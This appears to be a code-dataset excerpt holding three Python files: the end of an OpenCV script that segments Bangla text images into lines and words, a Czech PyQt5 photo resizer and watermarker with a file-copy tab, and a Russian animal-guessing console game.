cv2.imwrite(\"word/words_\"+str(cnt_lines)+str(cnt_words)+\".png\", output2[upper+letter_upper-BUFFER:upper+letter_lower+BUFFER, prev_x-BUFFER:x+BUFFER])\n cnt_words += 1\n\n\ndef lines_seperator():\n hist2 = cv2.reduce(rotated,1, cv2.REDUCE_AVG).reshape(-1)\n upper = 0\n lower = len(hist2)-1\n while hist2[upper] <= min(hist2):\n upper+=1\n while hist2[lower] <= min(hist2):\n lower-=1\n x = upper\n prev_x = upper\n cnt_lines = 1\n while x < lower:\n while x < len(hist2) and hist2[x] <= min(hist2):\n x += 1\n prev_x = x\n while x < len(hist2) and hist2[x] > min(hist2):\n x += 1\n if x - prev_x > 0:\n cv2.line(output, (0, x),(WIDTH, x), (0,255,0))\n cv2.line(output, (0, prev_x),(WIDTH, prev_x), (0,255,0))\n cv2.imwrite(\"line/lines_\"+str(cnt_lines)+\".png\", output2[prev_x-BUFFER:x+BUFFER, :])\n words_seperator(x, prev_x, cnt_lines)\n cnt_lines += 1\n\n\"Drawing lines or seperation of lines\"\nhist = cv2.reduce(rotated,1, cv2.REDUCE_AVG).reshape(-1)\n\nHEIGHT, WIDTH = img.shape[:2]\n\noutput2 =cv2.cvtColor(rotated, cv2.COLOR_GRAY2BGR)\noutput = cv2.cvtColor(rotated, cv2.COLOR_GRAY2BGR)\n\nlines_seperator()\n\n\"\"\"for vals in line_bounds:\n cv2.line(output, (0,vals),(WIDTH, vals), (0,255,0))\n\"Generation of letters and saving of words in words directory\"\nprev_y = line_bounds[0]\ncnt_lines = 1\ncnt_letters = 1\nfor y in line_bounds[1:]:\n if (y - prev_y) > line_buffer:\n hist2 = cv2.reduce(rotated[prev_y:y, :], 0, cv2.REDUCE_AVG).reshape(-1)\n emp = max(hist2)\n if emp > 5:\n cv2.imwrite(\"line/lines_\"+str(cnt_lines)+\".png\", output2[prev_y-BUFFER:y+BUFFER, :])\n words_seperator(y, prev_y, cnt_lines)\n cnt_lines += 1\n prev_y = y\"\"\"\nimport matplotlib.pyplot as plt\n\nplt.imshow(output)\nplt.show()\n\ncv2.imwrite(\"result.png\", output)","sub_path":"bangla-text-image-to-word-segmentation.py","file_name":"bangla-text-image-to-word-segmentation.py","file_ext":"py","file_size_in_byte":4589,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"591587697","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n'''\nPyQt5 aplikace na hromadnou změnu velikosti fotek s možností přidání vodoznaku. Pro správnou funkci zajistěte přítomnost balíčků\npython3, python3-pyqt5, python3-sip a python3-pil ve vašem systému.\n'''\n\nimport os, sys, threading, datetime, shutil\nfrom PyQt5 import QtCore, QtGui, QtWidgets\nfrom PIL import Image, ImageDraw, ImageFont, ImageEnhance\n\n__author__ = 'Miroslav Suchánek'\n\n# Hlavní třída projektu, zahrnující uživatelské prostředí aplikace s potřebnými funkcemi.\nclass PyFotoresizer(object):\n\n # Funkce inicialzace aplikace.\n def __init__(self):\n self.myPath = sys.path[0]\n\n # Funkce sestavení GUI aplikace (grafické uživatelské rozhraní).\n def setupUi(self, MainWindow):\n\n MainWindow.setObjectName(\"MainWindow\")\n MainWindow.resize(492, 545)\n self.centralWidget = QtWidgets.QWidget(MainWindow)\n self.centralWidget.setObjectName(\"centralWidget\")\n\n font = QtGui.QFont()\n font.setPointSize(10)\n logFont = QtGui.QFont()\n logFont.setPointSize(9)\n\n self.btnExit = QtWidgets.QPushButton(self.centralWidget)\n self.btnExit.setGeometry(QtCore.QRect(370, 480, 99, 27))\n self.btnExit.setObjectName(\"btnExit\")\n self.btnExit.clicked.connect(QtWidgets.qApp.quit)\n\n self.lblCC = QtWidgets.QLabel(self.centralWidget)\n self.lblCC.setGeometry(QtCore.QRect(15, 478, 91, 31))\n self.lblCC.setToolTipDuration(-2)\n self.lblCC.setOpenExternalLinks(True)\n self.lblCC.setObjectName(\"lblCC\")\n\n self.lblPy = QtWidgets.QLabel(self.centralWidget)\n self.lblPy.setGeometry(QtCore.QRect(125, 478, 78, 31))\n self.lblPy.setToolTipDuration(-2)\n self.lblPy.setOpenExternalLinks(True)\n self.lblPy.setObjectName(\"lblPy\")\n\n self.tabWidget = QtWidgets.QTabWidget(self.centralWidget)\n self.tabWidget.setGeometry(QtCore.QRect(5, 5, 481, 461))\n self.tabWidget.setMouseTracking(True)\n self.tabWidget.setObjectName(\"tabWidget\")\n\n # Tab úprava fotek\n self.tabResize = QtWidgets.QWidget()\n self.tabResize.setObjectName(\"tabResize\")\n\n self.grpWater = QtWidgets.QGroupBox(self.tabResize)\n self.grpWater.setEnabled(False)\n self.grpWater.setGeometry(QtCore.QRect(3, 270, 471, 65))\n self.grpWater.setCheckable(True)\n self.grpWater.setChecked(False)\n self.grpWater.setObjectName(\"grpWater\")\n\n self.layoutWidget = QtWidgets.QWidget(self.grpWater)\n self.layoutWidget.setGeometry(QtCore.QRect(10, 30, 451, 29))\n self.layoutWidget.setObjectName(\"layoutWidget\")\n self.horizontalLayout_3 = QtWidgets.QHBoxLayout(self.layoutWidget)\n self.horizontalLayout_3.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_3.setObjectName(\"horizontalLayout_3\")\n\n self.lblWater = QtWidgets.QLabel(self.layoutWidget)\n self.lblWater.setObjectName(\"lblWater\")\n self.horizontalLayout_3.addWidget(self.lblWater)\n\n self.edtWater = QtWidgets.QLineEdit(self.layoutWidget)\n self.edtWater.setObjectName(\"edtWater\")\n self.horizontalLayout_3.addWidget(self.edtWater)\n\n self.grpSlozka = QtWidgets.QGroupBox(self.tabResize)\n self.grpSlozka.setGeometry(QtCore.QRect(3, 17, 469, 117))\n self.grpSlozka.setObjectName(\"grpSlozka\")\n\n self.lblSlozka = QtWidgets.QLabel(self.grpSlozka)\n self.lblSlozka.setGeometry(QtCore.QRect(10, 30, 201, 17))\n self.lblSlozka.setObjectName(\"lblSlozka\")\n\n self.lblPocet = QtWidgets.QLabel(self.grpSlozka)\n self.lblPocet.setGeometry(QtCore.QRect(10, 90, 341, 17))\n self.lblPocet.setObjectName(\"lblPocet\")\n\n self.layoutWidget_2 = QtWidgets.QWidget(self.grpSlozka)\n self.layoutWidget_2.setGeometry(QtCore.QRect(10, 50, 451, 29))\n self.layoutWidget_2.setObjectName(\"layoutWidget_2\")\n self.horizontalLayout = QtWidgets.QHBoxLayout(self.layoutWidget_2)\n self.horizontalLayout.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout.setObjectName(\"horizontalLayout\")\n\n self.edtSlozka = QtWidgets.QLineEdit(self.layoutWidget_2)\n self.edtSlozka.setReadOnly(True)\n self.edtSlozka.setFont(font)\n self.edtSlozka.setObjectName(\"edtSlozka\")\n self.horizontalLayout.addWidget(self.edtSlozka)\n\n self.btnSlozka = QtWidgets.QPushButton(self.layoutWidget_2)\n self.btnSlozka.setObjectName(\"btnSlozka\")\n self.btnSlozka.clicked.connect(lambda *args: self.openDir('zmena', 'Vyberte složku s fotkami'))\n self.horizontalLayout.addWidget(self.btnSlozka)\n\n self.grpStart = QtWidgets.QGroupBox(self.tabResize)\n self.grpStart.setEnabled(False)\n self.grpStart.setGeometry(QtCore.QRect(3, 344, 471, 71))\n self.grpStart.setObjectName(\"grpStart\")\n\n self.layoutWidget_3 = QtWidgets.QWidget(self.grpStart)\n self.layoutWidget_3.setGeometry(QtCore.QRect(10, 30, 451, 29))\n self.layoutWidget_3.setObjectName(\"layoutWidget_3\")\n self.horizontalLayout_2 = QtWidgets.QHBoxLayout(self.layoutWidget_3)\n self.horizontalLayout_2.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_2.setObjectName(\"horizontalLayout_2\")\n\n self.btnStart = QtWidgets.QPushButton(self.layoutWidget_3)\n self.btnStart.setObjectName(\"btnStart\")\n self.btnStart.clicked.connect(self.resizeImg)\n self.horizontalLayout_2.addWidget(self.btnStart)\n\n self.progress = QtWidgets.QProgressBar(self.layoutWidget_3)\n self.progress.setProperty(\"value\", 0)\n self.progress.setTextVisible(True)\n self.progress.setObjectName(\"progress\")\n self.progress.valueChanged.connect(self.threadFinished)\n self.horizontalLayout_2.addWidget(self.progress)\n\n self.grpUprava = QtWidgets.QGroupBox(self.tabResize)\n self.grpUprava.setEnabled(False)\n self.grpUprava.setGeometry(QtCore.QRect(3, 140, 469, 116))\n self.grpUprava.setObjectName(\"grpUprava\")\n\n self.lblPozn = QtWidgets.QLabel(self.grpUprava)\n self.lblPozn.setGeometry(QtCore.QRect(10, 90, 341, 17))\n self.lblPozn.setFont(logFont)\n self.lblPozn.setObjectName(\"lblPozn\")\n\n self.layoutWidget_4 = QtWidgets.QWidget(self.grpUprava)\n self.layoutWidget_4.setGeometry(QtCore.QRect(10, 30, 451, 52))\n self.layoutWidget_4.setObjectName(\"layoutWidget_4\")\n self.gridLayout = QtWidgets.QGridLayout(self.layoutWidget_4)\n self.gridLayout.setContentsMargins(0, 0, 0, 0)\n self.gridLayout.setObjectName(\"gridLayout\")\n\n self.lblVyska = QtWidgets.QLabel(self.layoutWidget_4)\n self.lblVyska.setObjectName(\"lblVyska\")\n self.gridLayout.addWidget(self.lblVyska, 0, 0, 1, 1)\n\n self.lblKvalita = QtWidgets.QLabel(self.layoutWidget_4)\n self.lblKvalita.setObjectName(\"lblKvalita\")\n self.gridLayout.addWidget(self.lblKvalita, 0, 1, 1, 1)\n\n self.lblPrefix = QtWidgets.QLabel(self.layoutWidget_4)\n self.lblPrefix.setObjectName(\"lblPrefix\")\n self.gridLayout.addWidget(self.lblPrefix, 0, 2, 1, 1)\n\n self.spnVyska = QtWidgets.QSpinBox(self.layoutWidget_4)\n self.spnVyska.setMinimum(10)\n self.spnVyska.setMaximum(10000)\n self.spnVyska.setProperty(\"value\", 600)\n self.spnVyska.setObjectName(\"spnVyska\")\n self.gridLayout.addWidget(self.spnVyska, 1, 0, 1, 1)\n\n self.spnKvalita = QtWidgets.QSpinBox(self.layoutWidget_4)\n self.spnKvalita.setMinimum(10)\n self.spnKvalita.setMaximum(100)\n self.spnKvalita.setSingleStep(5)\n self.spnKvalita.setProperty(\"value\", 85)\n self.spnKvalita.setObjectName(\"spnKvalita\")\n self.gridLayout.addWidget(self.spnKvalita, 1, 1, 1, 1)\n\n self.edtPrefix = QtWidgets.QLineEdit(self.layoutWidget_4)\n self.edtPrefix.setObjectName(\"edtPrefix\")\n self.gridLayout.addWidget(self.edtPrefix, 1, 2, 1, 1)\n\n self.tabWidget.addTab(self.tabResize, \"\")\n # Konec tab úprava fotek\n\n # Tab přenos souborů\n self.tabCopy = QtWidgets.QWidget()\n self.tabCopy.setObjectName(\"tabCopy\")\n\n self.grpZdroj = QtWidgets.QGroupBox(self.tabCopy)\n self.grpZdroj.setGeometry(QtCore.QRect(4, 10, 469, 91))\n self.grpZdroj.setObjectName(\"grpZdroj\")\n\n self.lblZdroj = QtWidgets.QLabel(self.grpZdroj)\n self.lblZdroj.setGeometry(QtCore.QRect(10, 30, 201, 17))\n self.lblZdroj.setObjectName(\"lblZdroj\")\n\n self.layoutWidget_5 = QtWidgets.QWidget(self.grpZdroj)\n self.layoutWidget_5.setGeometry(QtCore.QRect(10, 50, 451, 29))\n self.layoutWidget_5.setObjectName(\"layoutWidget_5\")\n self.horizontalLayout_4 = QtWidgets.QHBoxLayout(self.layoutWidget_5)\n self.horizontalLayout_4.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_4.setObjectName(\"horizontalLayout_4\")\n\n self.edtZdroj = QtWidgets.QLineEdit(self.layoutWidget_5)\n self.edtZdroj.setReadOnly(True)\n self.edtZdroj.setFont(font)\n self.edtZdroj.setObjectName(\"edtZdroj\")\n self.horizontalLayout_4.addWidget(self.edtZdroj)\n\n self.btnZdroj = QtWidgets.QPushButton(self.layoutWidget_5)\n self.btnZdroj.setObjectName(\"btnZdroj\")\n self.btnZdroj.clicked.connect(lambda *args: self.openDir('zdroj', 'Vyberte zdrojovou složku'))\n self.horizontalLayout_4.addWidget(self.btnZdroj)\n\n self.grpCil = QtWidgets.QGroupBox(self.tabCopy)\n self.grpCil.setGeometry(QtCore.QRect(4, 110, 469, 91))\n self.grpCil.setEnabled(False)\n self.grpCil.setObjectName(\"grpCil\")\n\n self.lblCil = QtWidgets.QLabel(self.grpCil)\n self.lblCil.setGeometry(QtCore.QRect(10, 30, 201, 17))\n self.lblCil.setObjectName(\"lblCil\")\n\n self.layoutWidget_6 = QtWidgets.QWidget(self.grpCil)\n self.layoutWidget_6.setGeometry(QtCore.QRect(10, 50, 451, 29))\n self.layoutWidget_6.setObjectName(\"layoutWidget_6\")\n self.horizontalLayout_5 = QtWidgets.QHBoxLayout(self.layoutWidget_6)\n self.horizontalLayout_5.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_5.setObjectName(\"horizontalLayout_5\")\n\n self.edtCil = QtWidgets.QLineEdit(self.layoutWidget_6)\n self.edtCil.setReadOnly(True)\n self.edtCil.setFont(font)\n self.edtCil.setObjectName(\"edtCil\")\n self.horizontalLayout_5.addWidget(self.edtCil)\n\n self.btnCil = QtWidgets.QPushButton(self.layoutWidget_6)\n self.btnCil.setObjectName(\"btnCil\")\n self.btnCil.clicked.connect(lambda *args: self.openDir('cil', 'Vyberte cílovou složku'))\n self.horizontalLayout_5.addWidget(self.btnCil)\n\n self.grpPrenos = QtWidgets.QGroupBox(self.tabCopy)\n self.grpPrenos.setEnabled(False)\n self.grpPrenos.setGeometry(QtCore.QRect(4, 210, 469, 71))\n self.grpPrenos.setObjectName(\"grpPrenos\")\n\n self.layoutWidget_7 = QtWidgets.QWidget(self.grpPrenos)\n self.layoutWidget_7.setGeometry(QtCore.QRect(10, 30, 451, 29))\n self.layoutWidget_7.setObjectName(\"layoutWidget_7\")\n self.horizontalLayout_6 = QtWidgets.QHBoxLayout(self.layoutWidget_7)\n self.horizontalLayout_6.setContentsMargins(0, 0, 0, 0)\n self.horizontalLayout_6.setObjectName(\"horizontalLayout_6\")\n\n self.btnPrenos = QtWidgets.QPushButton(self.layoutWidget_7)\n self.btnPrenos.setObjectName(\"btnPrenos\")\n self.btnPrenos.clicked.connect(self.copyImg)\n self.horizontalLayout_6.addWidget(self.btnPrenos)\n\n self.progPrenos = QtWidgets.QProgressBar(self.layoutWidget_7)\n self.progPrenos.setProperty(\"value\", 0)\n self.progPrenos.setTextVisible(True)\n self.progPrenos.setObjectName(\"progPrenos\")\n self.progPrenos.valueChanged.connect(self.threadFinished)\n self.horizontalLayout_6.addWidget(self.progPrenos)\n\n self.lblLog = QtWidgets.QLabel(self.tabCopy)\n self.lblLog.setGeometry(QtCore.QRect(6, 300, 67, 17))\n self.lblLog.setObjectName(\"lblLog\")\n\n self.lstLog = QtWidgets.QListWidget(self.tabCopy)\n self.lstLog.setGeometry(QtCore.QRect(6, 319, 465, 101))\n self.lstLog.setFont(logFont)\n self.lstLog.setEditTriggers(QtWidgets.QAbstractItemView.NoEditTriggers)\n self.lstLog.setSelectionMode(QtWidgets.QAbstractItemView.NoSelection)\n self.lstLog.setObjectName(\"lstLog\")\n\n self.tabWidget.addTab(self.tabCopy, \"\")\n # Konec Tab přenos souborů\n\n MainWindow.setCentralWidget(self.centralWidget)\n self.menuBar = QtWidgets.QMenuBar(MainWindow)\n self.menuBar.setGeometry(QtCore.QRect(0, 0, 492, 25))\n self.menuBar.setObjectName(\"menuBar\")\n MainWindow.setMenuBar(self.menuBar)\n\n #self.mainToolBar = QtWidgets.QToolBar(MainWindow)\n #self.mainToolBar.setObjectName(\"mainToolBar\")\n #exitAction = QtWidgets.QAction(QtGui.QIcon(self.myPath+'/inc/exit.png'), 'Exit', self.mainToolBar)\n #exitAction.setShortcut('Ctrl+Q')\n #exitAction.triggered.connect(QtWidgets.qApp.quit)\n #self.mainToolBar.addAction(exitAction)\n #MainWindow.addToolBar(QtCore.Qt.TopToolBarArea, self.mainToolBar)\n\n self.statusBar = QtWidgets.QStatusBar(MainWindow)\n self.statusBar.setObjectName(\"statusBar\")\n self.statusBar.setFont(logFont)\n MainWindow.setStatusBar(self.statusBar)\n\n self.retranslateUi(MainWindow)\n QtCore.QMetaObject.connectSlotsByName(MainWindow)\n\n # Funkce přidání textů a popisků do GUI aplikace.\n def retranslateUi(self, MainWindow):\n\n MainWindow.setWindowIcon(QtGui.QIcon(self.myPath+'/inc/my-icon.png'))\n MainWindow.setWindowTitle(\"PyFotoresizer\")\n\n self.grpStart.setTitle(\" Proces úpravy fotek\")\n self.btnStart.setText(\"Start\")\n self.btnStart.setToolTip(\"Spustí proces úpravy fotek\")\n self.grpSlozka.setTitle(\" Složka s fotkami \")\n self.lblSlozka.setText(\"Vybrat složku:\")\n self.lblPocet.setText(\"Fotek ve složce: 0\")\n self.btnSlozka.setText(\" Procházet... \")\n self.btnSlozka.setToolTip(\"Otevře dialog pro výběr složky\")\n self.grpUprava.setTitle(\" Předvolby úpravy fotek\")\n self.lblPozn.setText(\"* Šířka fotky se automaticky přizpůsobí.\")\n self.lblVyska.setText(\"Výška fotky (px): \")\n self.lblKvalita.setText(\"Kvalita fotky (%): \")\n self.lblPrefix.setText(\"Prefix uložení:\")\n self.edtPrefix.setText(\"edited\")\n self.btnExit.setText(\"Zavřít\")\n self.btnExit.setToolTip(\"Ukončí aplikaci\")\n self.statusBar.showMessage('2015 © Miroslav Suchánek | msuchos@gmail.com')\n self.lblCC.setText(' ')\n self.lblCC.setToolTip(\" Toto dílo podléhá licenci Creative Commons Uveďte původ-Zachovejte licenci 4.0 Mezinárodní . Pro zobrazení licenčních podmínek navštivte http://creativecommons.org/licenses/by-sa/4.0/deed.cs .
\")\n self.lblPy.setText(' ')\n self.lblPy.setToolTip(\"The Python Programming Language\")\n self.grpWater.setTitle(\" Přidat vodoznak \")\n self.lblWater.setText(\"Text vodoznaku: \")\n self.edtWater.setText(\"Vodoznak\")\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tabResize), \"Úprava fotek\")\n self.tabWidget.setTabText(self.tabWidget.indexOf(self.tabCopy), \"Přenos souborů\")\n self.grpZdroj.setTitle(\" Zdrojová složka\")\n self.lblZdroj.setText(\"Vybrat složku:\")\n self.btnZdroj.setText(\" Procházet... \")\n self.btnZdroj.setToolTip(\"Otevře dialog pro výběr složky\")\n self.grpCil.setTitle(\" Cílová složka \")\n self.lblCil.setText(\"Vybrat složku:\")\n self.btnCil.setText(\" Procházet... \")\n self.btnCil.setToolTip(\"Otevře dialog pro výběr složky\")\n self.grpPrenos.setTitle(\" Provést přenos \")\n self.btnPrenos.setText(\"Start\")\n self.btnPrenos.setToolTip(\"Spustí přenos souborů\")\n self.lblLog.setText(\"Log:\")\n\n # Funkce stisknutí tlačítka /Procházet/ pro zvolení složky.\n def openDir(self, ident, text):\n dirname = QtWidgets.QFileDialog.getExistingDirectory(None, text, os.getenv('HOME'))\n #dirname = (os.path.split(dialog[0])[0])\n if dirname:\n images = []\n for file in os.listdir(dirname):\n if file.lower().endswith(\".jpg\") or file.lower().endswith(\".jpeg\"):\n images.append(file)\n if ident == 'cil':\n self.dbTarget = []\n self.dbTarget.insert(0, dirname)\n #self.dbTarget.insert(1, images)\n\n self.edtCil.setText(dirname)\n self.grpPrenos.setEnabled(True)\n self.btnPrenos.setEnabled(True)\n if len(images) > 0:\n if ident == 'zmena':\n self.dbResize = []\n self.dbResize.insert(0, dirname)\n self.dbResize.insert(1, images)\n self.dbResize.insert(2, str(len(images)))\n\n self.edtSlozka.setText(dirname)\n self.lblPocet.setText(\"Fotek ve složce: %s\" % self.dbResize[2])\n self.grpUprava.setEnabled(True)\n self.grpWater.setEnabled(True)\n self.grpStart.setEnabled(True)\n self.btnStart.setEnabled(True)\n\n elif ident == 'zdroj':\n self.dbSource = []\n self.dbSource.insert(0, dirname)\n self.dbSource.insert(1, images)\n self.dbSource.insert(2, str(len(images)))\n\n self.edtZdroj.setText(dirname)\n self.grpCil.setEnabled(True)\n self.lstLog.clear()\n self.setItemToList('Fotek ve zdrojové složce: %s' % self.dbSource[2], QtCore.Qt.blue)\n\n # Funkce přidání log záznamu do listboxu.\n def setItemToList(self, text, color):\n item = QtWidgets.QListWidgetItem(text)\n item.setForeground(QtGui.QBrush(color))\n self.lstLog.insertItem(0, item)\n self.lstLog.repaint()\n\n # Funkce překreslení (aktualizace) progresbaru.\n def progresUpdate(self):\n if self.setThread == 'resize':\n position = self.progress.value()\n self.progress.setValue(position + 1)\n elif self.setThread == 'copy':\n position = self.progPrenos.value()\n self.progPrenos.setValue(position + 1)\n\n # Funkce nastavení výchozích hodnot aplikace po ukončení procesu úpravy.\n def defaultStatus(self):\n if self.setThread == 'resize':\n self.grpSlozka.setEnabled(True)\n self.edtSlozka.clear()\n self.lblPocet.setText('Fotek ve složce: 0')\n self.spnVyska.setValue(600)\n self.spnKvalita.setValue(85)\n self.edtPrefix.setText('edited')\n self.grpUprava.setEnabled(False)\n self.edtWater.setText('Vodoznak')\n self.grpWater.setChecked(False)\n self.grpWater.setEnabled(False)\n self.progress.setValue(0)\n self.grpStart.setEnabled(False)\n elif self.setThread == 'copy':\n self.grpZdroj.setEnabled(True)\n self.edtZdroj.clear()\n self.grpCil.setEnabled(False)\n self.edtCil.clear()\n self.grpPrenos.setEnabled(False)\n self.progPrenos.setValue(0)\n\n # Funkce stisknutí tlačítka /Start/ pro spuštění procesu úpravy.\n def resizeImg(self):\n self.progress.setMaximum(int(self.dbResize[2]))\n self.btnStart.setEnabled(False)\n self.grpSlozka.setEnabled(False)\n self.grpUprava.setEnabled(False)\n self.grpWater.setEnabled(False)\n self.setThread = 'resize'\n\n self.res_allFiles = self.dbResize[1]\n self. res_nHeight = self.spnVyska.value()\n self.res_quality = self.spnKvalita.value()\n self.res_prefix = self.edtPrefix.text()+'_'\n self.res_nDirPath = os.path.join(self.dbResize[0], self.res_prefix)\n self.res_addW = self.grpWater.isChecked()\n self.res_textW = self.edtWater.text()\n\n if not os.path.exists(self.res_nDirPath):\n os.mkdir(self.res_nDirPath)\n\n rThread = threading.Thread(target=self.getResizeImg)\n rThread.daemon = True\n rThread.start()\n #print(threading.active_count(), threading.enumerate())\n\n # Thread funkce procesu úpravy.\n def getResizeImg(self):\n for resizeFile in self.res_allFiles:\n infile = os.path.join(self.dbResize[0], resizeFile)\n outfile = os.path.join(self.res_nDirPath, self.res_prefix+resizeFile)\n self.tmp = os.path.join(self.res_nDirPath, '.tmpImg')\n rFile = Image.open(infile)\n width, height = rFile.size\n pomer = round(height / self.res_nHeight, 2)\n nWidth = round(width / pomer)\n if self.res_addW:\n rFile.resize((nWidth, self.res_nHeight), Image.ANTIALIAS).save(self.tmp, 'jpeg', quality=self.res_quality)\n self.addWatermark(self.tmp, outfile, self.res_textW, self.res_quality)\n else:\n rFile.resize((nWidth, self.res_nHeight), Image.ANTIALIAS).save(outfile, 'jpeg', quality=self.res_quality)\n self.progresUpdate()\n\n # Funkce stisknutí tlačítka /Start/ pro spuštění přenosu souborů.\n def copyImg(self):\n self.progPrenos.setMaximum(int(self.dbSource[2]))\n self.btnPrenos.setEnabled(False)\n self.grpZdroj.setEnabled(False)\n self.grpCil.setEnabled(False)\n self.setThread = 'copy'\n\n sourcePath = self.dbSource[0]\n targetPath = self.dbTarget[0]\n copyFiles = self.dbSource[1]\n\n if os.path.exists(sourcePath) and os.path.isdir(sourcePath):\n if os.path.exists(targetPath) and os.path.isdir(targetPath):\n listThreads = []\n self.setItemToList('Zdroj: %s' % sourcePath, QtCore.Qt.black)\n self.setItemToList('Cíl: %s' % targetPath, QtCore.Qt.black)\n self.setItemToList('Zahajuji kopírování', QtCore.Qt.black)\n c = 0\n self.error = False\n for cFile in copyFiles:\n c += 1\n pocitadlo = '{0:0>3}'.format(c)\n datum = datetime.datetime.now()\n newFilename = '%s%s%s%s' % ('P', datum.strftime('%d%m%H%M-'), pocitadlo, '.jpg')\n #if os.path.exists(os.path.join(targetPath, newFilename)):\n # newFilename = '%s%s%s%s' % ('P', datum.strftime('%d%m%H%M'), str(datum.microsecond)[-3:], '.jpg')\n self.setItemToList('%i/%s..........%s --> %s' % (c, self.dbSource[2], cFile, newFilename), QtCore.Qt.darkGreen)\n cThread = threading.Thread(target=self.getCopyImg, args=(os.path.join(sourcePath, cFile),\n os.path.join(targetPath, newFilename), cFile,))\n listThreads.append(cThread)\n cThread.daemon = True\n cThread.start()\n for cThread in listThreads:\n cThread.join()\n\n # Thread funkce přenosu souborů.\n def getCopyImg(self, infile, outfile, file):\n try:\n shutil.copy(infile, outfile)\n # je-li zdroj a cíl stejný\n except shutil.Error as e:\n self.lstLog.takeItem(0)\n self.setItemToList('CHYBA: %s' % e, QtCore.Qt.red)\n self.error = True\n # pokud zdroj nebo cíl neexistuje\n except IOError as e:\n self.lstLog.takeItem(0)\n self.setItemToList('CHYBA: -- %s -- %s' % (file, e.strerror), QtCore.Qt.red)\n self.error = True\n finally:\n self.progresUpdate()\n\n # Funkce vyvolání info dialogu.\n def getInfo(self, title, text):\n ok = QtWidgets.QMessageBox.information(MainWindow, title, text)\n\n # Funkce pro informaci o dokončení procesu úpravy/přenosu.\n def threadFinished(self):\n if self.setThread == 'resize':\n if int(self.dbResize[2]) == self.progress.value():\n if self.grpWater.isChecked():\n os.remove(self.tmp)\n self.defaultStatus()\n self.getInfo('Úspěch', 'Úprava fotek byla úspěšně dokončena.')\n elif self.setThread == 'copy':\n if int(self.dbSource[2]) == self.progPrenos.value():\n self.setItemToList('Kopírování dokončeno', QtCore.Qt.black)\n self.defaultStatus()\n if self.error:\n self.getInfo('Neúspěch', 'Při kopírování došlo k chybám. Podrobnosti najdete v logu.')\n else:\n self.getInfo('Úspěch', 'Kopírování fotek bylo úspěšně dokončeno.')\n\n # Funkce přidání vodoznaku.\n def addWatermark(self, in_file, out_file, text, quality, angle=23, opacity=0.25):\n\n FONT = os.path.join(self.myPath, 'inc', 'DVS-Bold.ttf')\n\n img = Image.open(in_file).convert('RGB')\n watermark = Image.new('RGBA', img.size, (0,0,0,0))\n size = 2\n n_font = ImageFont.truetype(FONT, size)\n n_width, n_height = n_font.getsize(text)\n\n while n_width+n_height < watermark.size[0]:\n size += 2\n n_font = ImageFont.truetype(FONT, size)\n n_width, n_height = n_font.getsize(text)\n\n draw = ImageDraw.Draw(watermark, 'RGBA')\n draw.text(((watermark.size[0] - n_width) / 2,\n (watermark.size[1] - n_height) / 2),\n text, font=n_font)\n\n watermark = watermark.rotate(angle, Image.BICUBIC)\n alpha = watermark.split()[3]\n alpha = ImageEnhance.Brightness(alpha).enhance(opacity)\n watermark.putalpha(alpha)\n Image.composite(watermark, img, watermark).save(out_file, 'jpeg', quality=quality)\n\n# Výchozí funkce spuštění aplikace\n\nif __name__ == \"__main__\":\n app = QtWidgets.QApplication(sys.argv)\n MainWindow = QtWidgets.QMainWindow()\n myUi = PyFotoresizer()\n myUi.setupUi(MainWindow)\n MainWindow.show()\n sys.exit(app.exec_())\n","sub_path":"fresi.py","file_name":"fresi.py","file_ext":"py","file_size_in_byte":26729,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
+{"seq_id":"255257711","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n# ssyp42/ mk-animals-1.py 2017-03-03 2.1\n# игра в животных, версия 2, простой цикл без отладки\n\nimport pprint\n\ndef main():\n \"\"\" диспетчер \"\"\"\n global B\n\n print (f\"Привет. Это игра в животных\")\n\n B = {}\n while sess() and (input(\"\\nПродолжаем? (да/нет) \")[0] == \"д\"): pass\n\n return 0\n\ndef sess ():\n \"\"\" сессия вопросов-ответов\"\"\"\n global B\n E = B\n\n print (\"\\nИграем.\\nВы всегда можете остановить игру, введя точку (.)\\n\")\n\n while E:\n print (f\"Вопрос: {E['quest']}? \")\n\n rep = input()\n if rep[0] == \".\":\n return False\n\n if rep[0] == \"д\":\n repn = input(f\"Это {E['name']}? \")\n\n if repn[0] == \"д\":\n print (f\"\\nУра! Угадал! Это {E['name']}!\\n\")\n return True\n\n else:\n if E['yes']:\n E = E['yes']\n continue\n else:\n name = input (\"Да уж. Не знаю зверя. Сдаюсь. Как он называется? \")\n quest = input (\"Каким вопросом его можно определить? \")\n N = {}\n N[\"name\"] = name\n N[\"quest\"] = quest\n N['yes'] = {}\n N['no'] = {}\n E['yes'] = N\n break\n\n if E['no']:\n E = E['no']\n continue\n else:\n name = input (\"Нет уж. Не знаю зверя. Сдаюсь. Как он называется? \")\n quest = input (\"Каким вопросом его можно определить? \")\n N = {}\n N[\"name\"] = name\n N[\"quest\"] = quest\n N['yes'] = {}\n N['no'] = {}\n E['no'] = N\n break\n\n else:\n name = input (\"Не знаю пока зверей. Сдаюсь. Как этот называется? \")\n quest = input (\"Каким вопросом его можно определить? \")\n N = {}\n N[\"name\"] = name\n N[\"quest\"] = quest\n N['yes'] = {}\n N['no'] = {}\n B = N\n\n return True\n\nif __name__ == '__main__':\n main()\n","sub_path":"mk-animals-2.py","file_name":"mk-animals-2.py","file_ext":"py","file_size_in_byte":2495,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"67"}
